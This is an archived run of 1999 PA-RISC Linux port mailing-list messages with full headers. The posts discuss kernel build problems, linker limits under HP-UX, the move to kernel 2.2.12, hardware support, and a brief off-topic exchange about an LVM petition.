NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:10 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: Matthew.Wilcox@genedata.com  Mon Sep  6 03:23:03 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id DAA16964
	for <parisc-linux@puffin.external.hp.com>; Mon, 6 Sep 1999 03:23:03 -0600
Original-Received: (qmail 18098 invoked by uid 15267); 6 Sep 1999 09:25:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18084 invoked from network); 6 Sep 1999 09:24:59 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 6 Sep 1999 09:24:59 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id LAA01340;
	Mon, 6 Sep 1999 11:24:48 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id LAA736473;
	Mon, 6 Sep 1999 11:24:47 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11Nv14-00025cC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for parisc-linux@thepuffingroup.com; Mon, 6 Sep 1999 11:24:46 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <37D35413.6E032AE1@uswest.net>; from Ryan Bradetich on Sun, Sep 05, 1999 at 11:41:39PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:9885

On Sun, Sep 05, 1999 at 11:41:39PM -0600, Ryan Bradetich wrote:
> Hmm...
> 
> Ok, I got a stupid question :)
> 
> Where do I generate/find the ramdisk.bin that is a dependency for
> ramdisk.c?

You can either generate one yourself using the loop device under Linux
or just take the one we all use from

ftp://puffin.external.hp.com/pub/parisc/binaries/ramdisks/

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:16:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] status on 715/33
Date: Mon, 6 Sep 1999 19:52:33 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <19990906195233.E493@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619751 13822 80.91.229.3 (22 Nov 2014 01:29:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:11 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Matthew.Wilcox@genedata.com  Mon Sep  6 11:50:39 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA18424
	for <parisc-linux@puffin.external.hp.com>; Mon, 6 Sep 1999 11:50:38 -0600
Original-Received: (qmail 25425 invoked by uid 15267); 6 Sep 1999 17:52:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25414 invoked from network); 6 Sep 1999 17:52:36 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 6 Sep 1999 17:52:36 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id TAA03076
	for <parisc-linux@thepuffingroup.com>; Mon, 6 Sep 1999 19:52:35 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id TAA755033
	for <parisc-linux@thepuffingroup.com>; Mon, 6 Sep 1999 19:52:34 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11O2wU-0002KnC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for parisc-linux@thepuffingroup.com; Mon, 6 Sep 1999 19:52:34 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
Xref: news.gmane.org gmane.linux.ports.parisc:9886


I've got my 715/33 as far as panicing because it can't find `init'.
There's a couple of small changes (which Philipp has) to get it through
the perils of handling the timer interrupt.  After that, it will crash
in pci_init() if that's enabled (looks like dereferencing a null pointer
to me), so disable CONFIG_PCI.  I'll investigate further tomorrow.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:16:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Linker question....
Date: Mon, 06 Sep 1999 17:41:01 -0600
Lines: 38
Approved: news@gmane.org
Message-ID: <37D4510D.B206030E@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619751 13823 80.91.229.3 (22 Nov 2014 01:29:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:11 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rbradetich@uswest.net  Mon Sep  6 17:54:04 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA18730
	for <parisc-linux@puffin.external.hp.com>; Mon, 6 Sep 1999 17:54:03 -0600
Original-Received: (qmail 18970 invoked by uid 15267); 6 Sep 1999 23:56:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18963 invoked from network); 6 Sep 1999 23:56:02 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 6 Sep 1999 23:56:02 -0000
Original-Received: (qmail 12650 invoked by alias); 6 Sep 1999 23:56:00 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 12644 invoked by uid 0); 6 Sep 1999 23:55:59 -0000
Original-Received: from unknown (HELO uswest.net) (63.224.241.68)
  by boispop1.bois.uswest.net with SMTP; 6 Sep 1999 23:55:59 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.12 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9887

Ok,

I've almost got the linux kernel to build on my linux box using the
cross-compiler rpms bits from puffin.external.hp.com.

I've  spent a good portion of the day searching the archives on how to
address this problem, and the theme I've discovered is the kernel needs
to be compiled/linked under HP-UX?

I just wanted to verify this assertion before I installed the tools on
the C200.

Thanks,
-Ryan


PS.  This is the error I get using the egcs cross-compiler.
------------------------------------

parisc-linux-ld -R 0xc0010000 -N -e stext arch/parisc/kernel/head.o
arch/parisc/kernel/init_task.o init/main.o init/version.o ramdisk.o\
 arch/parisc/kernel/kernel.o arch/parisc/mm/mm.o kernel/kernel.o mm/mm.o
fs/fs.o ipc/ipc.o \
 fs/filesystems.a \
 net/network.a \
 drivers/block/block.a drivers/char/char.a drivers/gecko/gecko.a
drivers/net/net.a drivers/pci/pci.a \
/home/rbrad/source/linux/arch/parisc/lib/lib.a
/home/rbrad/source/linux/lib/lib.a
/home/rbrad/source/linux/arch/parisc/lib/lib.a \
 -o vmlinux
arch/parisc/kernel/kernel.o: In function `pdc_add_valid':
arch/parisc/kernel/kernel.o($CODE$+0x26f8): undefined reference to
`$global$'
gmake: *** [vmlinux] Error 1
[rbrad@beavis linux]$



From - Thu Nov 08 21:16:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Shifting to kernel 2.2.12
Date: Mon, 06 Sep 1999 22:47:11 -0400
Organization: The Puffin Group
Lines: 21
Approved: news@gmane.org
Message-ID: <37D47CAF.C8FEEEE7@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619751 13827 80.91.229.3 (22 Nov 2014 01:29:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:11 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Mon Sep  6 20:28:32 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id UAA19016
	for <parisc-linux@puffin.external.hp.com>; Mon, 6 Sep 1999 20:28:32 -0600
Original-Received: (qmail 18776 invoked by uid 15267); 7 Sep 1999 02:30:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18760 invoked from network); 7 Sep 1999 02:30:29 -0000
Original-Received: from sprite.puffingroup.com (HELO feather.thepuffingroup.com) (209.151.2.200)
  by mailserv2.iuinc.com with SMTP; 7 Sep 1999 02:30:29 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id WAA04941
	for <parisc-linux@thepuffingroup.com>; Mon, 6 Sep 1999 22:47:11 -0400
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9888


There's a few reasons to go to a newer kernel version, so I spent the
last day working on shifting the kernel to 2.2.12, which was a very
large pain.

To ease the overall load on developers, I'm going to do merge up all the
patches as of Wednesday, Sept. 8 at midnight GMT.

Right now my kernel builds properly, boots and dies in ipl_c.c, but I'll
figure out why exactly.

Please, keep your changes to non-architecture specific portions to the
kernel to a minimum.  It makes merging difficult.

- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:16:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linker question....
Date: Mon, 06 Sep 1999 23:32:30 -0600
Lines: 11
Approved: news@gmane.org
Message-ID: <22099.936682350@upchuck.cygnus.com>
References: <37D4510D.B206030E@uswest.net>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619752 13831 80.91.229.3 (22 Nov 2014 01:29:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:12 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: law@upchuck.cygnus.com  Mon Sep  6 23:32:34 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id XAA19318
	for <parisc-linux@puffin.external.hp.com>; Mon, 6 Sep 1999 23:32:33 -0600
Original-Received: (qmail 26944 invoked by uid 15267); 7 Sep 1999 05:34:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26932 invoked from network); 7 Sep 1999 05:34:31 -0000
Original-Received: from vomit.cygnus.com (HELO upchuck.cygnus.com) (208.224.120.148)
  by mailserv2.iuinc.com with SMTP; 7 Sep 1999 05:34:31 -0000
Original-Received: from upchuck.cygnus.com (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id XAA22102;
	Mon, 6 Sep 1999 23:32:31 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Mon, 06 Sep 1999 17:41:01 MDT.
             <37D4510D.B206030E@uswest.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:9889



  In message <37D4510D.B206030E@uswest.net>you write:
  > I've  spent a good portion of the day searching the archives on how to
  > address this problem, and the theme I've discovered is the kernel needs
  > to be compiled/linked under HP-UX?
That is correct.  There is no cross-linker support for the SOM format.  The
elf tools are in progress, but not ready for use.

jeff


From - Thu Nov 08 21:16:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Benke <frank.benke@student.uni-tuebingen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: THANK YOU for the Linuxdays (fwd)
Date: Wed, 8 Sep 1999 10:05:34 +0200 (MEST)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9909080952580.18299-100000@linux21.zdv.uni-tuebingen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619752 13834 80.91.229.3 (22 Nov 2014 01:29:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:12 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: frank.benke@student.uni-tuebingen.de  Wed Sep  8 03:50:43 1999
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id DAA20961
	for <parisc-linux@puffin.external.hp.com>; Wed, 8 Sep 1999 03:50:42 -0600
Original-Received: (qmail 24518 invoked by uid 15267); 8 Sep 1999 09:45:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2648 invoked from network); 8 Sep 1999 08:05:21 -0000
Original-Received: from mx01.uni-tuebingen.de (134.2.3.11)
  by mailserv2.iuinc.com with SMTP; 8 Sep 1999 08:05:21 -0000
Original-Received: from linux21.zdv.uni-tuebingen.de (linux21.zdv.uni-tuebingen.de [134.2.18.21])
	by mx01.uni-tuebingen.de (8.8.8/8.8.8) with ESMTP id KAA07548
	for <parisc-linux@thepuffingroup.com>; Wed, 8 Sep 1999 10:05:05 +0200
Original-Received: from localhost (zxmbk01@localhost)
	by linux21.zdv.uni-tuebingen.de (8.8.8/8.8.8) with ESMTP id KAA16187
	for <parisc-linux@thepuffingroup.com>; Wed, 8 Sep 1999 10:05:34 +0200
X-Authentication-Warning: linux21.zdv.uni-tuebingen.de: zxmbk01 owned process doing -bs
X-Sender: zxmbk01@linux21.zdv.uni-tuebingen.de
Xref: news.gmane.org gmane.linux.ports.parisc:9890

hello folks;

since you all seem to be interested in linux and are somehow related to
the comercial use of it, i strongly encourage you to sign the petition for
including the logical volume management in the linux kernel. linus
concidered lvm as NOT important and is not convinced that this include is
of common interest. this petition shall convince him otherwise.

the website is found at http://linux.msede.com/lvm .

if you have friends and colleagues, which might think positive about lvm,
please inform them and ask them to sign as well. logical volume management
is as important as filesystem-journaling and the entire lvm in its alpha
release runs quite well here at gis.

thanks for your attention

regards frank




From - Thu Nov 08 21:16:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ross J. Reedstrom" <reedstrm@wallace.ece.rice.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: THANK YOU for the Linuxdays (fwd)
Date: Wed, 8 Sep 1999 10:03:31 -0500
Lines: 67
Approved: news@gmane.org
Message-ID: <19990908100331.A24655@wallace.ece.rice.edu>
References: <Pine.LNX.4.10.9909080952580.18299-100000@linux21.zdv.uni-tuebingen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619752 13836 80.91.229.3 (22 Nov 2014 01:29:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:12 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Frank Benke <frank.benke@student.uni-tuebingen.de>
Original-X-From: reedstrm@wallace.ece.rice.edu  Wed Sep  8 09:02:05 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA22000
	for <parisc-linux@puffin.external.hp.com>; Wed, 8 Sep 1999 09:02:04 -0600
Original-Received: (qmail 1932 invoked by uid 15267); 8 Sep 1999 15:03:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1901 invoked from network); 8 Sep 1999 15:03:58 -0000
Original-Received: from wallace.ece.rice.edu (root@128.42.12.154)
  by mailserv2.iuinc.com with SMTP; 8 Sep 1999 15:03:58 -0000
Original-Received: by wallace.ece.rice.edu
	via sendmail from stdin
	id <m11OjFz-000LEGC@wallace.ece.rice.edu> (Debian Smail3.2.0.102)
	for parisc-linux@thepuffingroup.com; Wed, 8 Sep 1999 10:03:31 -0500 (CDT) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <Pine.LNX.4.10.9909080952580.18299-100000@linux21.zdv.uni-tuebingen.de>; from Frank Benke on Wed, Sep 08, 1999 at 10:05:34AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:9891

Frank - 
Have you spent much time reading the linux-kernel mailing list? Linus is
usually little swayed by 'popular opinion' as to what features go into
the kernel. The principle criteria are that any new feature not hurt
other features, and that the quality of the code is good. This petition
drive reminds me of ~3 years ago, when some people following the GGI
(General Graphics Interface) project wanted to get the early alpha
code adopted into the mainstream kernel. In my opinion (and that of
many kernel list regulars) the 'campaign' _slowed_ acceptance, rather
than helping. In fact, the basic underlying architecture (a generic
framebuffer interface) came into the mainstream kernel from the ports
to architectures(SPARC, I seem to recall) that required it, and was
eventually adapted to the i386 architecture, as well.

So, I'm not convinced that a petition is going to help at all, and
might hurt. If Linus Torvalds has rejected the lvm patches based on 'I
don't think many people need this' (which is _not_ a usual criteria),
it might help a little, to let the developers of the LVM patches point
to as interest. But they should have download logs indicating a lot of
people grabbing the patches, which says the same thing, doesn't it? I'm
glad the patches work well for you. Be happy features like this can be
developed by third parties. Help the LVM developers create clean code
that patches in easily, and it'll end up in the kernel.

Ross

Ob.PA-RISC: Sorry my first post here is off topic. Perhaps I can
salvage that.  I've just aquired what I believe to be a HP9000 730/66
a.k.a. 'King Cobra' workstation. I haven't much time to play with it
right now, but I _will_ be following this list, and trying to get your
work up and running on it. Hopefully, this isn't too different from other
7XX machines. Anyone know of any 'gotcha's ? (Oh, and I have zero HP/UX
experience (all Irix and Linux background).


On Wed, Sep 08, 1999 at 10:05:34AM +0200, Frank Benke wrote:
> hello folks;
> 
> since you all seem to be interested in linux and are somehow related to
> the comercial use of it, i strongly encourage you to sign the petition for
> including the logical volume management in the linux kernel. linus
> concidered lvm as NOT important and is not convinced that this include is
> of common interest. this petition shall convince him otherwise.
> 
> the website is found at http://linux.msede.com/lvm .
> 
> if you have friends and colleagues, which might think positive about lvm,
> please inform them and ask them to sign as well. logical volume management
> is as important as filesystem-journaling and the entire lvm in its alpha
> release runs quite well here at gis.
> 
> thanks for your attention
> 
> regards frank
> 
> 
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.

-- 
Ross J. Reedstrom, Ph.D., <reedstrm@rice.edu> 
NSBRI Research Scientist/Programmer
Computer and Information Technology Institute
Rice University, 6100 S. Main St.,  Houston, TX 77005


From - Thu Nov 08 21:16:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Benke <frank.benke@student.uni-tuebingen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: THANK YOU for the Linuxdays (fwd)
Date: Wed, 8 Sep 1999 17:20:24 +0200 (MEST)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9909081712040.26659-100000@linux21.zdv.uni-tuebingen.de>
References: <19990908100331.A24655@wallace.ece.rice.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619752 13839 80.91.229.3 (22 Nov 2014 01:29:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:12 +0000 (UTC)
Cc: Frank Benke <frank.benke@student.uni-tuebingen.de>,
        parisc-linux@thepuffingroup.com
To: "Ross J. Reedstrom" <reedstrm@wallace.ece.rice.edu>
Original-X-From: frank.benke@student.uni-tuebingen.de  Wed Sep  8 09:18:35 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA22183
	for <parisc-linux@puffin.external.hp.com>; Wed, 8 Sep 1999 09:18:35 -0600
Original-Received: (qmail 10357 invoked by uid 15267); 8 Sep 1999 15:20:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10350 invoked from network); 8 Sep 1999 15:20:35 -0000
Original-Received: from mx02.uni-tuebingen.de (134.2.3.12)
  by mailserv2.iuinc.com with SMTP; 8 Sep 1999 15:20:35 -0000
Original-Received: from linux21.zdv.uni-tuebingen.de (linux21.zdv.uni-tuebingen.de [134.2.18.21])
	by mx02.uni-tuebingen.de (8.8.8/8.8.8) with ESMTP id RAA12683;
	Wed, 8 Sep 1999 17:19:55 +0200
Original-Received: from localhost (zxmbk01@localhost)
	by linux21.zdv.uni-tuebingen.de (8.8.8/8.8.8) with ESMTP id RAA30249;
	Wed, 8 Sep 1999 17:20:24 +0200
X-Authentication-Warning: linux21.zdv.uni-tuebingen.de: zxmbk01 owned process doing -bs
X-Sender: zxmbk01@linux21.zdv.uni-tuebingen.de
In-Reply-To: <19990908100331.A24655@wallace.ece.rice.edu>
Xref: news.gmane.org gmane.linux.ports.parisc:9892


okok ... i shouldnt have posted that. sorry. i dared because i understood
up to now the status of the current discussion was, that the only point of
critics from linus is the lack of need (and so far the performance
decrease is no fair tradeoff). linus should not be forced to include
bad/incomplete/buggy code, he should only see that there are people who
see this need and who want to make this tradeoff. and besides, we work on
improvements. 

and ross, as far as i understood the model philosophy, your 730 should
behave like 720 or 735.

regards frank




From - Thu Nov 08 21:16:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: THANK YOU for the Linuxdays (fwd)
Date: Wed, 8 Sep 1999 18:49:32 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <19990908184932.B25362@mencheca.ch.genedata.com>
References: <Pine.LNX.4.10.9909080952580.18299-100000@linux21.zdv.uni-tuebingen.de> <19990908100331.A24655@wallace.ece.rice.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619753 13842 80.91.229.3 (22 Nov 2014 01:29:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:13 +0000 (UTC)
Cc: Frank Benke <frank.benke@student.uni-tuebingen.de>,
        parisc-linux@thepuffingroup.com
To: "Ross J. Reedstrom" <reedstrm@wallace.ece.rice.edu>
Original-X-From: Matthew.Wilcox@genedata.com  Wed Sep  8 10:50:51 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA22503
	for <parisc-linux@puffin.external.hp.com>; Wed, 8 Sep 1999 10:50:40 -0600
Original-Received: (qmail 13310 invoked by uid 15267); 8 Sep 1999 16:52:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13280 invoked from network); 8 Sep 1999 16:52:08 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 8 Sep 1999 16:52:08 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id SAA10494;
	Wed, 8 Sep 1999 18:49:34 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id SAA727990;
	Wed, 8 Sep 1999 18:49:33 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11Okub-0002KZC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for frank.benke@student.uni-tuebingen.de; Wed, 8 Sep 1999 18:49:33 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <19990908100331.A24655@wallace.ece.rice.edu>; from Ross J. Reedstrom on Wed, Sep 08, 1999 at 10:03:31AM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:9893

On Wed, Sep 08, 1999 at 10:03:31AM -0500, Ross J. Reedstrom wrote:
> Ob.PA-RISC: Sorry my first post here is off topic. Perhaps I can
> salvage that.  I've just aquired what I believe to be a HP9000 730/66
> a.k.a. 'King Cobra' workstation. I haven't much time to play with it
> right now, but I _will_ be following this list, and trying to get your
> work up and running on it. Hopefully, this isn't too different from other
> 7XX machines. Anyone know of any 'gotcha's ? (Oh, and I have zero HP/UX
> experience (all Irix and Linux background).

Maybe this will be OK.  It's PA-RISC 1.1a, a PA7000 processor like the
705/710/720/750 rather than the PA7100LC as the 712/715/etc machines have.
We have docs on the 7100 and 7300 CPUs on the website, but no docs on
the 7000.  I suspect that getting documentation on this CPU will be
low-priority; even lower priority than the HIL keyboard driver :-)
So it may work, but don't be surprised if it doesn't.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:16:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Hibler <mike@fast.cs.utah.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: THANK YOU for the Linuxdays (fwd)
Date: Wed, 8 Sep 1999 11:57:31 -0600 (MDT)
Lines: 29
Approved: news@gmane.org
Message-ID: <199909081757.LAA01435@fast.cs.utah.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619753 13844 80.91.229.3 (22 Nov 2014 01:29:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:13 +0000 (UTC)
Cc: frank.benke@student.uni-tuebingen.de, parisc-linux@thepuffingroup.com
To: Matthew.Wilcox@genedata.com, reedstrm@wallace.ece.rice.edu
Original-X-From: mike@fast.cs.utah.edu  Wed Sep  8 11:56:37 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA22759
	for <parisc-linux@puffin.external.hp.com>; Wed, 8 Sep 1999 11:56:37 -0600
Original-Received: (qmail 4596 invoked by uid 15267); 8 Sep 1999 17:58:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4588 invoked from network); 8 Sep 1999 17:58:37 -0000
Original-Received: from fast.cs.utah.edu (155.99.212.1)
  by mailserv2.iuinc.com with SMTP; 8 Sep 1999 17:58:37 -0000
Original-Received: (from mike@localhost)
	by fast.cs.utah.edu (8.9.1/8.9.1) id LAA01435;
	Wed, 8 Sep 1999 11:57:31 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:9894

> Date: Wed, 8 Sep 1999 18:49:32 +0200
> From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
> To: "Ross J. Reedstrom" <reedstrm@wallace.ece.rice.edu>
> Subject: Re: THANK YOU for the Linuxdays (fwd)
> 
> On Wed, Sep 08, 1999 at 10:03:31AM -0500, Ross J. Reedstrom wrote:
> > Ob.PA-RISC: Sorry my first post here is off topic. Perhaps I can
> > salvage that.  I've just aquired what I believe to be a HP9000 730/66
> > a.k.a. 'King Cobra' workstation. I haven't much time to play with it
> > right now, but I _will_ be following this list, and trying to get your
